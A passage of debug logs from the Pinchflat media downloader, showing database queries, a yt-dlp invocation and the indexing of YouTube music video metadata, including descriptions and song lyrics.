m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:53.818 [debug] QUERY OK source="settings" db=0.1ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:53.819 [debug] Running yt-dlp command for action: get_downloadable_status 22:20:53.819 [debug] QUERY OK source="settings" db=0.1ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:53.819 [debug] QUERY OK source="settings" db=0.1ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:53.820 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:53.820 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=XchkPl1ASEk --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/da/aa/daaaa3111cd8e2640280351e6e1a50462ef6d551d553a6c86f997cb777824a10.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:20:53.918 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "» Download/Stream: https://orcd.co/gigachadtheme-phonk\n\n📌g3ox_em - wither (Official Visualizer) is OUT NOW! https://youtu.be/lUvW4LSWX6o?si=MnpK01FwUpHeGxKq\n\n🔴Follow me on Instagram: https://www.instagram.com/g3ox_em/\nProduction/Mix/Master : g3ox_em\nSUBSCRIBE 🔴 g3ox_em Official YT Channel: https://www.youtube.com/channel/UCpIUzvMbh0QZx7mMzcTXIdw?sub_confirmation=1\n🟢Follow me on Spotify: https://open.spotify.com/artist/0Zw2ivPEDptvMHwCXjhdRs?si=7gbO82rCSzCVT-43_7pi0w\n🧡Follow me on Soundcloud: https://soundcloud.com/geox-1\n\nFor business inquiries contact: geoxem@gmail.com\n\n#GigaChad #phonk #drift #phonkytown #memes \n\nTags: gigachad phonky town, gigachad phonk playlist, gigachad phonk remix,\ngigachad phonk 1 hour, gigachad phonk slowed, gigachad phonk theme, gigachad phonk tiktok, gigachad phonk song, gigachad phonk edit, gigachad meme, gigachad meme song, gigachad perfect loop, can you feel my heart", "duration" => 146, "filename" => "/downloads/Grift/Grift/2022-08-18g3ox_em - GigaChad Theme (Phonk House Version)[OVh0bMNSFss].m4a", "id" => "OVh0bMNSFss", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=OVh0bMNSFss", "playlist_index" => 13, "timestamp" => 1660834568, "title" => "g3ox_em - GigaChad Theme (Phonk House Version)", "upload_date" => "20220818"} 22:20:53.918 [debug] QUERY OK source="sources" db=0.2ms idle=100.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:20:53.919 [debug] QUERY OK source="sources" db=0.1ms idle=100.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:53.919 [debug] QUERY OK source="media_items" db=0.1ms idle=99.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-18 14:56:08Z], 4] 22:20:53.921 [debug] Current batch of media processed. Will check again in 1000ms 22:20:54.118 [debug] QUERY OK source="media_items" db=191.9ms idle=99.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["» Download/Stream: https://orcd.co/gigachadtheme-phonk\n\n📌g3ox_em - wither (Official Visualizer) is OUT NOW! https://youtu.be/lUvW4LSWX6o?si=MnpK01FwUpHeGxKq\n\n🔴Follow me on Instagram: https://www.instagram.com/g3ox_em/\nProduction/Mix/Master : g3ox_em\nSUBSCRIBE 🔴 g3ox_em Official YT Channel: https://www.youtube.com/channel/UCpIUzvMbh0QZx7mMzcTXIdw?sub_confirmation=1\n🟢Follow me on Spotify: https://open.spotify.com/artist/0Zw2ivPEDptvMHwCXjhdRs?si=7gbO82rCSzCVT-43_7pi0w\n🧡Follow me on Soundcloud: https://soundcloud.com/geox-1\n\nFor business inquiries contact: geoxem@gmail.com\n\n#GigaChad #phonk #drift #phonkytown #memes \n\nTags: gigachad phonky town, gigachad phonk playlist, gigachad phonk remix,\ngigachad phonk 1 hour, gigachad phonk slowed, gigachad phonk theme, gigachad phonk tiktok, gigachad phonk song, gigachad phonk edit, gigachad meme, gigachad meme song, gigachad perfect loop, can you feel my heart", "g3ox_em - GigaChad Theme (Phonk House Version)", "2a76fcf0-a566-45b2-a250-6312a036404d", false, "OVh0bMNSFss", 146, false, "https://www.youtube.com/watch?v=OVh0bMNSFss", 13, "/downloads/Grift/Grift/2022-08-18g3ox_em - GigaChad Theme (Phonk House Version)[OVh0bMNSFss].m4a", false, false, 4, [], 1, ~U[2022-08-18 14:56:08Z], ~U[2026-07-24 02:20:53Z], ~U[2026-07-24 02:20:53Z], "» Download/Stream: https://orcd.co/gigachadtheme-phonk\n\n📌g3ox_em - wither (Official Visualizer) is OUT NOW! https://youtu.be/lUvW4LSWX6o?si=MnpK01FwUpHeGxKq\n\n🔴Follow me on Instagram: https://www.instagram.com/g3ox_em/\nProduction/Mix/Master : g3ox_em\nSUBSCRIBE 🔴 g3ox_em Official YT Channel: https://www.youtube.com/channel/UCpIUzvMbh0QZx7mMzcTXIdw?sub_confirmation=1\n🟢Follow me on Spotify: https://open.spotify.com/artist/0Zw2ivPEDptvMHwCXjhdRs?si=7gbO82rCSzCVT-43_7pi0w\n🧡Follow me on Soundcloud: https://soundcloud.com/geox-1\n\nFor business inquiries contact: geoxem@gmail.com\n\n#GigaChad #phonk #drift #phonkytown #memes \n\nTags: gigachad phonky town, gigachad phonk playlist, gigachad phonk remix,\ngigachad phonk 1 hour, gigachad phonk slowed, gigachad phonk theme, gigachad phonk tiktok, gigachad phonk song, gigachad phonk edit, gigachad meme, gigachad meme song, gigachad perfect loop, can you feel my heart", "g3ox_em - GigaChad Theme (Phonk House Version)", "OVh0bMNSFss", 146, false, "https://www.youtube.com/watch?v=OVh0bMNSFss", "/downloads/Grift/Grift/2022-08-18g3ox_em - GigaChad Theme (Phonk House Version)[OVh0bMNSFss].m4a", false, 4, ~U[2022-08-18 14:56:08Z]] 22:20:54.118 [debug] QUERY OK source="sources" db=0.3ms idle=199.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:54.118 [debug] QUERY OK source="media_profiles" db=0.2ms idle=199.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:54.119 [debug] QUERY OK source="media_items" db=0.2ms idle=199.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [133] 22:20:54.119 [debug] Current batch of media processed. Will check again in 1000ms 22:20:54.864 [info] POST /sources/1/media/19 22:20:54.864 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.delete/2 Parameters: %{"_csrf_token" => "LwRWVConKC48I00YUShnZiktc0ZhGSR1FiecCoAoWEyH3eV0yGG52ms6", "_method" => "delete", "id" => "19", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 22:20:54.918 [debug] QUERY OK source="media_items" db=53.6ms idle=753.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [19] 22:20:54.919 [debug] QUERY OK source="tasks" db=0.4ms idle=800.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."media_item_id" = ?) AND (o1."state" IN (?,?,?,?,?,?,?)) [19, "scheduled", "available", "executing", "retryable", "completed", "discarded", "cancelled"] 22:20:54.923 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "• Tradução, edição e legenda por Insomnia\u00A0\n\n• Glass Animals\nSite: http://www.glassanimals.eu Live: http://www.glassanimals.eu/live/ Facebook: http://facebook.com/glassanimals Twitter: http://twitter.com/glassanimals Instagram: http://instagram.com/glassanimals\n\n• Vídeo oficial \nhttps://youtu.be/3WdAaAhhb6M\n\n• Imagem\nhttps://pinterest.com/pin/738731145103875321/?source_app=android\n\n• Para pedidos de músicas \nhttps://discordapp.com/invite/fdjCThM\n\n• Playlist Spotify\nhttps://open.spotify.com/user/21lgzmonblmc62wl245dq2qfi/playlist/7HI4pBaqaWiqnKPz7gZkn5?si=0t5DjygHShqXxaBBVjLiww&nd=1\n\n• Letra\n\nWhen I was young and stupid my love\nLeft to be a rock and roll star\nHe told me please don't worry\nWise little smile that spoke so safely\n\nHe booked a one way ticket\nOut west that's where they make it\nSix kids stuck in a bedsit\nTo sunswept poolside riches\n\nHe met a girl who wore Versace\nPink feather coats and jumbo jewellery\nGonna be a hoop phenomenon\nHe's gonna be Hakeem Olajuwan\n\nHe's got a gold Camaro\nHe said over the payphone\nI try to keep my cool but\nMy life turns in slow motion\n\nBye bye baby blue\nI wish you could see the wicked truth\nCaught up in a rush it's killing you\nScreaming at the sun you blow into\nCurled up in a grip when we were us\nFingers in a fist like you might run\nI settle for a ghost I never knew\nSuperparadise I held on to\nBut I settle for a ghost\n\nWhen I was from n.o.l.a no one\nLeft to be a rock and roll star\nHe'd stay and treat his lady\nGive everything to his new baby\n\nI miss him don't you blame me\nThat boy went stone cold crazy\nCaught up in camera lust he's\nChasing that pappy pipe dreams\n\nI know you don't but I\nI know you don't but I still try\nMy thunder shook him down\nMy thunder came and shook him down\nThat girl is gone but I\nThat girl is gone but I still try\nI think it's over now\nThe bullet hit but maybe not\nI feel so fucking numb\nIt hits my head and I feel numb\nMy body's looking wrong\nMy body's looking wrong\nMy body's looking wrong\n\nBye bye baby blue\nI wish you could see the wicked truth\nCaught up in a rush it's killing you\nScreaming at the sun you blow into\nCurled up in a grip when we were us\nFingers in a fist like you might run\nI settle for a ghost I never knew\nSuperparadise I held on to\nBut I settle for a ghost\n\n• Insomnia", "duration" => 321, "filename" => "/downloads/Nightcore/Nightcore/2018-10-09Glass Animals - The Other Side of Paradise (legendado)[vmLT3BHtZYU].m4a", "id" => "vmLT3BHtZYU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=vmLT3BHtZYU", "playlist_index" => 1, "timestamp" => 1539074280, "title" => "Glass Animals - The Other Side of Paradise (legendado)", "upload_date" => "20181009"} 22:20:55.120 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by TuneCore\n\nDeath Squad · Perturbator\n\nThe Uncanny Valley\n\n℗ 2016 Blood Music\n\nReleased on: 2016-05-06\n\nAuto-generated by YouTube.", "duration" => 265, "filename" => "/downloads/Grift/Grift/2020-02-16Death Squad[4JEcgyVSlmw].m4a", "id" => "4JEcgyVSlmw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=4JEcgyVSlmw", "playlist_index" => 14, "timestamp" => 1581896360, "title" => "Death Squad", "upload_date" => "20200216"} 22:20:55.139 [debug] QUERY OK source="sources" db=18.7ms queue=0.1ms idle=202.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:20:55.296 [debug] QUERY OK source="tasks" db=161.0ms idle=215.4ms DELETE FROM "tasks" WHERE "id" = ? [19] 22:20:55.296 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:20:55.296 [info] Sent 302 in 432ms 22:20:55.353 [debug] QUERY OK source="sources" db=213.3ms idle=219.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:55.353 [debug] QUERY OK source="sources" db=429.7ms idle=771.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:20:55.353 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=213.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-02-16 23:39:20Z], 4] 22:20:55.354 [debug] QUERY OK source="sources" db=0.5ms idle=57.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:55.354 [debug] QUERY OK source="media_items" db=0.2ms idle=1.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-10-09 08:38:00Z], 1] 22:20:55.420 [info] GET /sources/1 22:20:55.420 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 22:20:55.499 [debug] QUERY OK source="sources" db=79.0ms idle=66.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:55.500 [debug] QUERY OK source="media_items" db=146.0ms idle=1.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by TuneCore\n\nDeath Squad · Perturbator\n\nThe Uncanny Valley\n\n℗ 2016 Blood Music\n\nReleased on: 2016-05-06\n\nAuto-generated by YouTube.", "Death Squad", "ae288b46-cdf6-4bc1-93c7-ac69fc750e8b", false, "4JEcgyVSlmw", 265, false, "https://www.youtube.com/watch?v=4JEcgyVSlmw", 14, "/downloads/Grift/Grift/2020-02-16Death Squad[4JEcgyVSlmw].m4a", false, false, 4, [], 1, ~U[2020-02-16 23:39:20Z], ~U[2026-07-24 02:20:55Z], ~U[2026-07-24 02:20:55Z], "Provided to YouTube by TuneCore\n\nDeath Squad · Perturbator\n\nThe Uncanny Valley\n\n℗ 2016 Blood Music\n\nReleased on: 2016-05-06\n\nAuto-generated by YouTube.", "Death Squad", "4JEcgyVSlmw", 265, false, "https://www.youtube.com/watch?v=4JEcgyVSlmw", "/downloads/Grift/Grift/2020-02-16Death Squad[4JEcgyVSlmw].m4a", false, 4, ~U[2020-02-16 23:39:20Z]] 22:20:55.519 [debug] QUERY OK source="media_profiles" db=18.4ms queue=0.5ms idle=145.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:55.520 [debug] QUERY OK source="sources" db=1.8ms queue=17.3ms idle=146.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:55.521 [debug] QUERY OK source="tasks" db=1.0ms queue=0.5ms idle=20.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [1, "executing", "available", "scheduled", "retryable"] 22:20:55.521 [debug] QUERY OK source="media_profiles" db=1.4ms queue=0.1ms idle=19.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:55.522 [debug] QUERY OK source="oban_jobs" db=1.0ms idle=2.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [201] 22:20:55.523 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:55.524 [debug] QUERY OK source="media_items" db=1.8ms idle=2.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [134] 22:20:55.524 [debug] Current batch of media processed. Will check again in 1000ms 22:20:55.718 [debug] QUERY OK source="media_items" db=363.2ms idle=1.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["• Tradução, edição e legenda por Insomnia\u00A0\n\n• Glass Animals\nSite: http://www.glassanimals.eu Live: http://www.glassanimals.eu/live/ Facebook: http://facebook.com/glassanimals Twitter: http://twitter.com/glassanimals Instagram: http://instagram.com/glassanimals\n\n• Vídeo oficial \nhttps://youtu.be/3WdAaAhhb6M\n\n• Imagem\nhttps://pinterest.com/pin/738731145103875321/?source_app=android\n\n• Para pedidos de músicas \nhttps://discordapp.com/invite/fdjCThM\n\n• Playlist Spotify\nhttps://open.spotify.com/user/21lgzmonblmc62wl245dq2qfi/playlist/7HI4pBaqaWiqnKPz7gZkn5?si=0t5DjygHShqXxaBBVjLiww&nd=1\n\n• Letra\n\nWhen I was young and stupid my love\nLeft to be a rock and roll star\nHe told me please don't worry\nWise little smile that spoke so safely\n\nHe booked a one way ticket\nOut west that's where they make it\nSix kids stuck in a bedsit\nTo sunswept poolside riches\n\nHe met a girl who wore Versace\nPink feather coats and jumbo jewellery\nGonna be a hoop phenomenon\nHe's gonna be Hakeem Olajuwan\n\nHe's got a gold Camaro\nHe said over the payphone\nI try to keep my cool but\nMy life turns in slow motion\n\nBye bye baby blue\nI wish you could see the wicked truth\nCaught up in a rush it's killing you\nScreaming at the sun you blow into\nCurled up in a grip when we were us\nFingers in a fist like you might run\nI settle for a ghost I never knew\nSuperparadise I held on to\nBut I settle for a ghost\n\nWhen I was from n.o.l.a no one\nLeft to be a rock and roll star\nHe'd stay and treat his lady\nGive everything to his new baby\n\nI miss him don't you blame me\nThat boy went stone cold crazy\nCaught up in camera lust he's\nChasing that pappy pipe dreams\n\nI know you don't but I\nI know you don't but I still try\nMy thunder shook him down\nMy thunder came and shook him down\nThat girl is gone but I\nThat girl is gone but I still try\nI think it's over now\nThe bullet hit but maybe not\nI feel so fucking numb\nIt hits my head and I feel numb\nMy body's looking wrong\nMy body's looking wrong\nMy body's looking wrong\n\nBye bye baby blue\nI wish you could see the wicked truth\nCaught up in a rush it's killing you\nScreaming at the sun you blow into\nCurled up in a grip when we were us\nFingers in a fist like you might run\nI settle for a ghost I never knew\nSuperparadise I held on to\nBut I settle for a ghost\n\n• Insomnia", "Glass Animals - The Other Side of Paradise (legendado)", 